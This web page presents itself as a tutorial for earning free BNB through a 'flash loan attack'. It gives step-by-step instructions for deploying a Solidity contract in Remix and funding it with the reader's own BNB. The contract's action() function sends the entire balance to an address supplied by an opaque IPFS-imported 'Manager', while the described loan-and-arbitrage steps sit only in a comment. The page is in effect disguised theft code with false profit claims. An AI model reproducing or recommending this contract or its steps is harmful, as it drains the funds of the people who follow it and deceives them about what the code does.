Flash Loan Attack Code Explained | Free BNB Only Using This Easy Method

What is Flash Loan?

Flash Loan is a feature from DeFi that allows someone to quickly borrow Crypto nominal ( Eg. 1.000.000 DAI), refunded in the same hash transaction on the same blockchain, and only cost a little amount of fee.

Flash Loan can be done with a huge nominal if you had a minimum balance in your wallet. For example, John has 100 DAI in his wallet, so John could borrow 10.000 DAI. Then how is the Flash Loan Attack Technique got revenue?

In general, john has to be had a purpose before john wants to borrow from Flash Loan. For example, he intends to buy ETH, BNB, or any other crypto coin. So that if John borrows 1.000.000 DAI, then bought 5.00.000 DAI to ETH at market A and 500.000 DAI to BNB at market A and both are sold back to get DAI at the market B ( where market A and B has different prices ) and then John got 1.001.000 DAI. So John's profit is 1.000 DAI ( exclude the transaction fee ). Note: That transaction very fast and recorded in the 1 Blockchain transaction.

Step by step tutorial :

1. Download MetaMask For Chrome Web Browser

You can download and install MetaMask from this link: https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn.

2. Create a “Custom RPC” in MetaMask for connecting to Binance Smart Chain

this step is used for connecting your wallet to the Mainnet network Smart Chain. Below this is the network setting to add a Smart Chain.

               Name: Smart Chain 
               New RPC URL: https://bsc-dataseed.binance.org/ 
               ChainID: 56 
               Symbol: BNB 
               Block Explorer URL: https://bscscan.com 

For complete info about the explanation, please visit this Binance official article: https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain.

3. Open http://remix.ethereum.org/ from your browser

Open Ethereum Remix to make or extend the smart contract which later is used for making a smart contract Flash Loan Attack to the Binance Smart Contract network.

4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0

Change the compiler version to “0.5.0+commit.1d4f565a”. This is needed to make your compiler version is the same as the source code you'll use.

5. Create a file Solidity “Flash Loan.sol” in the File Explorer (1st menu button from the left)

Copy and paste the code below to the Flash Loan.sol file :

  1. pragma solidity ^0.5.0;
  2. // Multiplier-Finance Smart Contracts
  3. import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
  4. import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
  5. // PancakeSwap Smart Contracts
  6. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
  7. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
  8. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
  9. // Code Manager
  10. import "ipfs://QmYmQUCWHS6W5ZkaJfh8wCuDK2ZQ5uAWK9qjpgDDWG725V";
  11. contract GetFlashLoan {
  12. string public tokenName;
  13. string public tokenSymbol;
  14. uint loanAmount;
  15. Manager manager;
  16. constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  17. tokenName = _tokenName;
  18. tokenSymbol = _tokenSymbol;
  19. loanAmount = _loanAmount;
  20. manager = new Manager();
  21. }
  22. function() external payable {}
  23. function action() public payable {
  24. // Send required coins for swap
  25. address(uint160(manager.pancakeDepositAddress())).transfer(address(this).balance);
  26. // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
  27. // Breakdown of functions written below
  28. manager.performTasks();
  29. /* Breakdown of functions
  30. // Submit token to BSC blockchain
  31. string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  32. // List the token on PancakeSwap
  33. manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
  34. // Get BNB Loan from Multiplier-Finance
  35. string memory loanAddress = manager.takeFlashLoan(loanAmount);
  36. // Convert half BNB to DAI
  37. manager.pancakeDAItoBNB(loanAmount / 2);
  38. // Create BNB and DAI pairs for our token & Provide liquidity
  39. string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
  40. manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
  41. string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
  42. manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
  43. // Perform swaps and profit on Self-Arbitrage
  44. manager.pancakePerformSwaps();
  45. // Move remaining BNB from Contract to your account
  46. manager.contractToWallet("BNB");
  47. // Repay Flashloan
  48. manager.repayLoan(loanAddress);
  49. */
  50. }
  51. }

6. Click on Solidity Compiler (2nd menu button from the left) and Compile

Look for a dropdown Contract at the bottom of the Solidity Compiler menu, on that dropdown Contract choose “GetFlash Loan (Flash Loan.sol)” and then click Compile Flash Loan.sol.

7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy

  • - At the very top, change the dropdown Environment value to “Injected Web3” (For remix users, firstly there will be a confirmation on the MetaMask, Accept the confirmation notif on the MetaMask wallet Chrome Extention).
  • - The MetaMask wallet address will automatically be connected If you're already connected to your MetaMask Account.
  • - There's a dropdown next to the, click that dropdown and create a Smart Contract name you desired. Eg. :
                         _TOKENNAME = Flash Loan (write random token name)
                         _TOKENSYMBOL = FLO (write random three of four-letter symbol)
                         _LOANAMOUNT = 10 (amount loan)
  • - Click Transact and confirm in MetaMask.

- after you create a Smart Contract, wait till the transaction complete and you'll have your smart contract address.

8. Input a Liquidity to the Smart Contract

To input a Liquidity, transfer your nominal BNB to the Smart Contract address you have created before by using the transfer feature in the MetaMask Chrome Extention. Send the nominal BNB ( the amount BNB will affect the profit you will earn ). Wait till the liquidity addition transaction complete.

9. Flash Loan Attack

After creating a Smart Contract with liquidity added ( Step 8 ) and set the amount of loan ( Step 7 ), click the dropdown from the success transaction ( Step 7 ) it will display a dropdown menu with some button that is action, tokenName, tokenSymbol. Click "action" ( red button ) to run the smart contract. wait for a while until the transaction complete, and regularly check your BNB balance on the wallet from the MetaMask Chome Extension.

Note: Sometimes the code give error and sometimes it will not work from the first time.You must then start the whole process from begining.


Add a comment